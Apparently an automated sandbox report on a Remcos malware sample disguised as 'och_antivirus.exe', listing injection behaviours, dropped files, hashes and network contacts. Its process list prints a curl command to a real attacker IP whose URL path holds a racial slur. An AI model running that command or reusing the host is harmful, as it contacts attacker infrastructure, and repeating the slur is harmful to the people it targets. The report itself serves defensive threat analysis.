Analysis Overview
SHA256
69b943efb0b8f871b591ce1994bae3e550701a209f79c4d31e2451a69771b166
Threat Level: Known bad
The file och_antivirus.exe was found to be: Known bad.
Malicious Activity Summary
Remcos
Checks computer location settings
Loads dropped DLL
Executes dropped EXE
Checks whether UAC is enabled
Drops file in System32 directory
Suspicious use of SetThreadContext
Enumerates physical storage devices
Modifies registry class
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Modifies Internet Explorer settings
Suspicious behavior: MapViewOfSection
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-22 11:57
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-22 11:57
Reported
2024-04-22 11:59
Platform
win7-20240221-en
Max time kernel
118s
Max time network
124s
Command Line
Signatures
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2508 wrote to memory of 2820 | N/A | C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe | C:\Windows\system32\WerFault.exe |
| PID 2508 wrote to memory of 2820 | N/A | C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe | C:\Windows\system32\WerFault.exe |
| PID 2508 wrote to memory of 2820 | N/A | C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe | C:\Windows\system32\WerFault.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe
"C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe"
C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2508 -s 356
Network
Files
memory/2508-0-0x0000000100000000-0x0000000101119000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-22 11:57
Reported
2024-04-22 11:59
Platform
win10v2004-20240412-en
Max time kernel
141s
Max time network
126s
Command Line
Signatures
Remcos
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\WScript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
Loads dropped DLL
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\explorer.exe | C:\Windows\SysWOW64\explorer.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1020 set thread context of 1172 | N/A | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | C:\Windows\SysWOW64\cmd.exe |
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION | C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl | C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\Local Settings | C:\Windows\SysWOW64\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe
"C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe"
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe
C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe
C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\check1.vbs"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl http://94.156.66.107:9000/hooks/nigger?id=QUBJEIMO
C:\Windows\SysWOW64\curl.exe
curl http://94.156.66.107:9000/hooks/nigger?id=QUBJEIMO
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nihqlluvaxjcqgzkvtkrjgagmgkuam.vbs"
Network
| Country | Destination | Domain | Proto |
| US | 13.89.179.14:443 | tcp | |
| US | 8.8.8.8:53 | 159.113.53.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.114.53.23.in-addr.arpa | udp |
| NL | 23.62.61.155:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 155.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| BE | 2.17.197.240:80 | tcp | |
| US | 8.8.8.8:53 | 17.143.109.104.in-addr.arpa | udp |
| FR | 178.33.57.155:443 | tcp | |
| FR | 178.33.57.155:443 | tcp | |
| NL | 94.156.66.107:9000 | tcp | |
| US | 8.8.8.8:53 | 155.57.33.178.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 219.138.73.23.in-addr.arpa | udp |
| FR | 178.33.57.155:443 | tcp | |
| FR | 178.33.57.155:443 | tcp | |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
Files
memory/4600-0-0x00007FF72C590000-0x00007FF72D6A9000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\6aaf70f6
| MD5 | 045bb8ad2f52ecd9dd9a98c091a8104e |
| SHA1 | 5047bf498dad1537f2308cc03e090a6b43f64ccd |
| SHA256 | ad0710db7f86bf4c43b98437ef1da37ac0f246658e6bb426bc6e4cb7a813ccd0 |
| SHA512 | ec0df109f03508c6662f32bab28a2d6c58d052f3303bb3b521d6b993453320fffd64194d60340354e299a850bfed87ea8588a4f2f495c7908948309528b4bde2 |
memory/4600-6-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp
memory/4600-8-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp
memory/4600-9-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp
memory/4600-26-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe
| MD5 | 64179e64675e822559cac6652298bdfc |
| SHA1 | cceed3b2441146762512918af7bf7f89fb055583 |
| SHA256 | c26db97858c427d92e393396f7cb7f9e7ed8f9ce616adcc123d0ec6b055b99c9 |
| SHA512 | ef740b35ea5190f8ee47776af1f15ebdd54d39c84da5665e64f67ae6dd0f4b181e955e9a35319a5d0bd764972562e8f2bc44dbdf83c3bedf05674eae902e7280 |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\MSVCP140.dll
| MD5 | 71a0aa2d05e9174cefd568347bd9c70f |
| SHA1 | cb9247a0fa59e47f72df7d1752424b33a903bbb2 |
| SHA256 | fdb3d86c512adff90967cb860d02a4682850ab96727f0376e4d4836504c50e47 |
| SHA512 | 6e65520528facaa4058720eb16d6bfdcc7bb36923b7e8e6551f3526709f0fabafab123999e618438e6abe7efed4a1332547cfc988f2b24b0e3d91198b95a911a |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\VCRUNTIME140.dll
| MD5 | 16b26bc43943531d7d7e379632ed4e63 |
| SHA1 | 565287de39649e59e653a3612478c2186096d70a |
| SHA256 | 346f72c9a7584c2ab6ce65cd38a616c77ebddc0bbab2274c4e89dd5e62237517 |
| SHA512 | b5b7b4b8c5ab4276a34956e43f586272b1803ec3609253fee1bcc0a549aed7ba11d47404b023f7b67af701726bab95cca55738e7bd5bca272eca5ac71bb418cc |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\wbxtrace.dll
| MD5 | c2b06a78b6c07a1371b6aed1dbf4fc37 |
| SHA1 | b8847693e7cd3637b1b400e71430cdf629de2e64 |
| SHA256 | 9e2b2d67d0e70651a64a3febee9f2698d8a939633587fe973a30758368cffc04 |
| SHA512 | 219965e4b3e9f237f75d9306bdf5a08c872cded973009da64c58221e1bbdbfda35e4861c4c0b6687fca7c67ef496b307695af5e1270f8d5c3cf71a3fc02c6411 |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptusredt.dll
| MD5 | 3c3e960d59cb413791fee1e944b6df72 |
| SHA1 | 4aa6c90d81692642ca8266bf0d8e249ff3e3ad54 |
| SHA256 | 88378c228d7827974fe6ec827837af7571290e129082e7070d4bff7a42f4ba67 |
| SHA512 | 85b471aa2a066c6a779384ed102b895af108af51cd718bb834cda107f71bf5e6fcd8ecc77e9ea4fd7fd3ddbc10b1f57870a9bafcbbfa1be8e2ba224651d77aac |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptMgr.dll
| MD5 | 2087eb2d3fb639933ebe0a0614fd5218 |
| SHA1 | c1a1b75c8e76e000b7045092bd11100904a72840 |
| SHA256 | 725f50650cb9490027b633a1ff0ae166cb6fc42037dbe72d9a09dd65be323a1f |
| SHA512 | 3390536ed543529d01ed7d1616d36d6fde67d68bf6641f901ac5c081ede043943dacd3a7a0bf1729945be800d4ccda00c07511e1c23c7c33d9864be50645502e |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\WCLDll.dll
| MD5 | b3e030ab715a02f8864a79f552a247b7 |
| SHA1 | 4b1c18370b6e8a69c5f8b3ff543375f74e6e58fa |
| SHA256 | 2a844750786ab6798e9a26de7f080802f709c0f12ba7a31545f0c2e449ac0955 |
| SHA512 | cd030a0a9e6109b27b5f5d3299024c222287487bc9fac1edd92b760425a939bc307b1d15801fec7e274bd8377b8dd9c7883674d1488af5f062a102275a373eda |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\cyclopedia.html
| MD5 | db3f3969e8a2f913fe3643d8465171b1 |
| SHA1 | 736095ea1e02547a6df2586fffdbf31bb7d23656 |
| SHA256 | c207be09bf97912ed1271a4186bb626edc530c76f3e5edcac883a98946c41043 |
| SHA512 | 0a2948bad6e3f6338fb44a727e0de4d268db6a6e5933331b54b12877da0f3b75a796cb32e86cd251b4afc4ca9df5aaccb04db1153b31fc77318ce8909b18d81b |
C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\audiovisual.psd
| MD5 | c08c443520df3d30875ddc0e718f3346 |
| SHA1 | ff9ac03414433f597f58dce45dca0eb16d522964 |
| SHA256 | a22a7cecd7605ba16418b32079fe856ce4dc923b894986a472963aeb0fc0c6e1 |
| SHA512 | bf60ba1ee45f4f55851eb946d34bcd992379245e2ac7bd6da5e5c2bfc296b25ae88918d50d941710121028bfb8f9e32797ba6c885524bcc37426898b2ada1858 |
memory/2140-44-0x0000000074390000-0x000000007450B000-memory.dmp
memory/2140-45-0x00007FFD20230000-0x00007FFD20425000-memory.dmp
memory/1020-72-0x0000000074390000-0x000000007450B000-memory.dmp
memory/1020-73-0x00007FFD20230000-0x00007FFD20425000-memory.dmp
memory/1020-74-0x0000000074390000-0x000000007450B000-memory.dmp
memory/4600-75-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp
memory/1020-76-0x0000000074390000-0x000000007450B000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7746d2f6
| MD5 | ec23407f1e09987b36550d5b2ebff6d9 |
| SHA1 | c462cdf2a3fe50e2bedae7c8b92b4961dbb1276a |
| SHA256 | 3ecb2ee304aebc28894984a1704a16d80efdf0b15810272179115b58078faf3c |
| SHA512 | 883fdd28a47053218b045755e3d1c1dc3334cf7f4a9735f00df2f6d9211816165779ec96ec63137746abc7cc39f4dbf2c03f6b8a5c0c5d8c642f6ef2690de473 |
memory/1172-78-0x0000000074390000-0x000000007450B000-memory.dmp
memory/1172-80-0x00007FFD20230000-0x00007FFD20425000-memory.dmp
memory/1172-83-0x0000000074390000-0x000000007450B000-memory.dmp
memory/1172-84-0x0000000074390000-0x000000007450B000-memory.dmp
memory/1172-86-0x0000000074390000-0x000000007450B000-memory.dmp
memory/1720-87-0x00007FFD20230000-0x00007FFD20425000-memory.dmp
memory/1720-88-0x0000000000400000-0x0000000000484000-memory.dmp
memory/1720-90-0x0000000000F60000-0x0000000001393000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\check1.vbs
| MD5 | 85a2ebad40c21ba1da77230265b5351f |
| SHA1 | 803822e08837ebda5de7dde963e4872ae2fc4c21 |
| SHA256 | b5c409cbb25690b000d9d36c3b5170c1e61fff3d89bdaeadf0166ae28b0fdff9 |
| SHA512 | 77374eb3d9632c45c25c997380eab1ee338fbe659a24679b3cf28e76d67ffa71e2d2ea326181909d06970dca0e92b5528c1e7f9c866493162fd77170f87ea83a |
memory/1720-95-0x0000000000400000-0x0000000000484000-memory.dmp
memory/1720-96-0x0000000000400000-0x0000000000484000-memory.dmp
memory/1720-97-0x0000000000400000-0x0000000000484000-memory.dmp
memory/1720-98-0x0000000000400000-0x0000000000484000-memory.dmp
memory/1720-102-0x0000000000400000-0x0000000000484000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\nihqlluvaxjcqgzkvtkrjgagmgkuam.vbs
| MD5 | 5969db124f530f24b0e1b305ca5a8291 |
| SHA1 | 5eb79a70cc356a20ba39913489a5cdca36f83011 |
| SHA256 | 3a4ae3a89b9c1d79fbef06dd969b1307837c0378966c5f7ceddafb1e4660a072 |
| SHA512 | 0297ea245560c1b5fe64f5a3cd7769ea4e9f09dfc4cc4f16c8d96c5b5d846c8982458991aa143ea5a103436a03c5e7d5b7769b2b87bca5565e856de960e2e290 |